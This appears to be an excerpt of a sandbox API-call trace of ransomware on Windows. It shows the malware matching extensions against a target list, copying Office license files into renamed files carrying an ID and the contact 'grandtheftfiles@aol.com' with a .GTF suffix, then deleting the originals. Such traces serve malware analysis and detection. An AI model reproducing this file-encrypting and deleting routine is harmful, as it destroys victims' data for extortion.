	[0181.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms") returned 92
	[0181.990] lstrlenW (lpString=".doc") returned 4
	[0181.990] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.990] lstrlenW (lpString=".docx") returned 5
	[0181.990] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.990] lstrlenW (lpString=".pdf") returned 4
	[0181.990] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.990] lstrlenW (lpString=".xls") returned 4
	[0181.990] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.990] lstrlenW (lpString=".xlsx") returned 5
	[0181.990] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.990] lstrlenW (lpString=".ppt") returned 4
	[0181.990] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms") returned 92
	[0181.990] lstrlenW (lpString=".zip") returned 4
	[0181.990] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.990] lstrlenW (lpString=".rar") returned 4
	[0181.990] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.990] lstrlenW (lpString=".bz2") returned 4
	[0181.990] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.990] lstrlenW (lpString=".7z") returned 3
	[0181.990] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms") returned 92
	[0181.990] lstrlenW (lpString=".dbf") returned 4
	[0181.990] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms") returned 92
	[0181.991] lstrlenW (lpString=".1cd") returned 4
	[0181.991] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms") returned 92
	[0181.991] lstrlenW (lpString=".jpg") returned 4
	[0181.991] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms") returned 92
	[0181.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms") returned 92
	[0181.991] lstrlenW (lpString=".doc") returned 4
	[0181.991] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.991] lstrlenW (lpString=".docx") returned 5
	[0181.991] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.991] lstrlenW (lpString=".pdf") returned 4
	[0181.991] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.991] lstrlenW (lpString=".xls") returned 4
	[0181.991] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.991] lstrlenW (lpString=".xlsx") returned 5
	[0181.991] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.991] lstrlenW (lpString=".ppt") returned 4
	[0181.991] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms") returned 92
	[0181.991] lstrlenW (lpString=".zip") returned 4
	[0181.991] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.991] lstrlenW (lpString=".rar") returned 4
	[0181.991] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.991] lstrlenW (lpString=".bz2") returned 4
	[0181.991] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.991] lstrlenW (lpString=".7z") returned 3
	[0181.991] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms") returned 92
	[0181.991] lstrlenW (lpString=".dbf") returned 4
	[0181.991] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms") returned 92
	[0181.991] lstrlenW (lpString=".1cd") returned 4
	[0181.991] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms") returned 92
	[0181.992] lstrlenW (lpString=".jpg") returned 4
	[0181.992] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.992] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0181.992] lstrlenW (lpString="O365SmallBusPremR_SubTrial2-pl.xrm-ms") returned 37
	[0181.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c
	[0181.992] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=11199) returned 1
	[0181.992] CloseHandle (hObject=0x56c) returned 1
	[0181.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-pl.xrm-ms")) returned 0x220
	[0181.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c
	[0181.993] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.993] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0181.994] GetLastError () returned 0x0
	[0181.994] ReadFile (in: hFile=0x56c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2bbf, lpOverlapped=0x0) returned 1
	[0181.996] WriteFile (in: hFile=0x45c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0181.997] ReadFile (in: hFile=0x56c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.997] WriteFile (in: hFile=0x45c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0181.997] SetEndOfFile (hFile=0x45c) returned 1
	[0181.997] CloseHandle (hObject=0x45c) returned 1
	[0181.997] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.997] SetEndOfFile (hFile=0x56c) returned 1
	[0182.000] CloseHandle (hObject=0x56c) returned 1
	[0182.000] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0182.000] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-pl.xrm-ms")) returned 1
	[0182.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-pl.xrm-ms") returned 87
	[0182.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-pl.xrm-ms") returned 87
	[0182.001] lstrlenW (lpString=".doc") returned 4
	[0182.001] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.001] lstrlenW (lpString=".docx") returned 5
	[0182.001] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.001] lstrlenW (lpString=".pdf") returned 4
	[0182.001] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.001] lstrlenW (lpString=".xls") returned 4
	[0182.001] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.001] lstrlenW (lpString=".xlsx") returned 5
	[0182.001] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.001] lstrlenW (lpString=".ppt") returned 4
	[0182.001] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-pl.xrm-ms") returned 87
	[0182.001] lstrlenW (lpString=".zip") returned 4
	[0182.001] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.391] lstrlenW (lpString=".rar") returned 4
	[0182.402] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.402] lstrlenW (lpString=".bz2") returned 4
	[0182.402] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.402] lstrlenW (lpString=".7z") returned 3
	[0182.402] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-pl.xrm-ms") returned 87
	[0182.402] lstrlenW (lpString=".dbf") returned 4
	[0182.402] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-pl.xrm-ms") returned 87
	[0182.402] lstrlenW (lpString=".1cd") returned 4
	[0182.403] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-pl.xrm-ms") returned 87
	[0182.403] lstrlenW (lpString=".jpg") returned 4
	[0182.403] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-pl.xrm-ms") returned 87
	[0182.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-pl.xrm-ms") returned 87
	[0182.403] lstrlenW (lpString=".doc") returned 4
	[0182.403] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.403] lstrlenW (lpString=".docx") returned 5
	[0182.403] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.403] lstrlenW (lpString=".pdf") returned 4
	[0182.403] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.403] lstrlenW (lpString=".xls") returned 4
	[0182.403] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.403] lstrlenW (lpString=".xlsx") returned 5
	[0182.403] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.403] lstrlenW (lpString=".ppt") returned 4
	[0182.403] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-pl.xrm-ms") returned 87
	[0182.403] lstrlenW (lpString=".zip") returned 4
	[0182.403] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.403] lstrlenW (lpString=".rar") returned 4
	[0182.403] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.403] lstrlenW (lpString=".bz2") returned 4
	[0182.403] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.403] lstrlenW (lpString=".7z") returned 3
	[0182.403] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-pl.xrm-ms") returned 87
	[0182.403] lstrlenW (lpString=".dbf") returned 4
	[0182.403] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-pl.xrm-ms") returned 87
	[0182.404] lstrlenW (lpString=".1cd") returned 4
	[0182.404] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-pl.xrm-ms") returned 87
	[0182.404] lstrlenW (lpString=".jpg") returned 4
	[0182.404] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.404] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0182.404] lstrlenW (lpString="O365SmallBusPremR_SubTrial5-ppd.xrm-ms") returned 38
	[0182.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0182.404] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=23843) returned 1
	[0182.404] CloseHandle (hObject=0x42c) returned 1
	[0182.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-ppd.xrm-ms")) returned 0x220
	[0182.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0182.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0182.405] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.405] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0182.406] GetLastError () returned 0x0
	[0182.406] ReadFile (in: hFile=0x42c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x5d23, lpOverlapped=0x0) returned 1
	[0182.408] WriteFile (in: hFile=0x508, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x5d30, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x5d30, lpOverlapped=0x0) returned 1
	[0182.410] ReadFile (in: hFile=0x42c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.410] WriteFile (in: hFile=0x508, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x120, lpOverlapped=0x0) returned 1
	[0182.410] SetEndOfFile (hFile=0x508) returned 1
	[0182.410] CloseHandle (hObject=0x508) returned 1
	[0182.410] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.410] SetEndOfFile (hFile=0x42c) returned 1
	[0182.414] CloseHandle (hObject=0x42c) returned 1
	[0182.414] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0182.414] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-ppd.xrm-ms")) returned 1
	[0182.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ppd.xrm-ms") returned 88
	[0182.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ppd.xrm-ms") returned 88
	[0182.415] lstrlenW (lpString=".doc") returned 4
	[0182.415] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.415] lstrlenW (lpString=".docx") returned 5
	[0182.415] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.415] lstrlenW (lpString=".pdf") returned 4
	[0182.415] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.415] lstrlenW (lpString=".xls") returned 4
	[0182.415] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.415] lstrlenW (lpString=".xlsx") returned 5
	[0182.415] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.415] lstrlenW (lpString=".ppt") returned 4
	[0182.415] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ppd.xrm-ms") returned 88
	[0182.415] lstrlenW (lpString=".zip") returned 4
	[0182.415] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.415] lstrlenW (lpString=".rar") returned 4
	[0182.415] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.415] lstrlenW (lpString=".bz2") returned 4
	[0182.415] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.415] lstrlenW (lpString=".7z") returned 3
	[0182.416] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ppd.xrm-ms") returned 88
	[0182.416] lstrlenW (lpString=".dbf") returned 4
	[0182.416] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ppd.xrm-ms") returned 88
	[0182.416] lstrlenW (lpString=".1cd") returned 4
	[0182.416] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ppd.xrm-ms") returned 88
	[0182.416] lstrlenW (lpString=".jpg") returned 4
	[0182.416] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ppd.xrm-ms") returned 88
	[0182.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ppd.xrm-ms") returned 88
	[0182.416] lstrlenW (lpString=".doc") returned 4
	[0182.416] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.416] lstrlenW (lpString=".docx") returned 5
	[0182.416] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.416] lstrlenW (lpString=".pdf") returned 4
	[0182.416] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.416] lstrlenW (lpString=".xls") returned 4
	[0182.416] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.416] lstrlenW (lpString=".xlsx") returned 5
	[0182.416] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.416] lstrlenW (lpString=".ppt") returned 4
	[0182.416] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ppd.xrm-ms") returned 88
	[0182.416] lstrlenW (lpString=".zip") returned 4
	[0182.416] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.416] lstrlenW (lpString=".rar") returned 4
	[0182.416] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.416] lstrlenW (lpString=".bz2") returned 4
	[0182.416] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.416] lstrlenW (lpString=".7z") returned 3
	[0182.416] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ppd.xrm-ms") returned 88
	[0182.416] lstrlenW (lpString=".dbf") returned 4
	[0182.416] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ppd.xrm-ms") returned 88
	[0182.417] lstrlenW (lpString=".1cd") returned 4
	[0182.417] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ppd.xrm-ms") returned 88
	[0182.417] lstrlenW (lpString=".jpg") returned 4
	[0182.417] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.417] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0182.417] lstrlenW (lpString="O365SmallBusPremR_SubTrial5-ul-oob.xrm-ms") returned 41
	[0182.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0182.418] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=11655) returned 1
	[0182.418] CloseHandle (hObject=0x42c) returned 1
	[0182.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-ul-oob.xrm-ms")) returned 0x220
	[0182.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0182.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0182.418] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.418] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0182.419] GetLastError () returned 0x0
	[0182.419] ReadFile (in: hFile=0x42c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2d87, lpOverlapped=0x0) returned 1
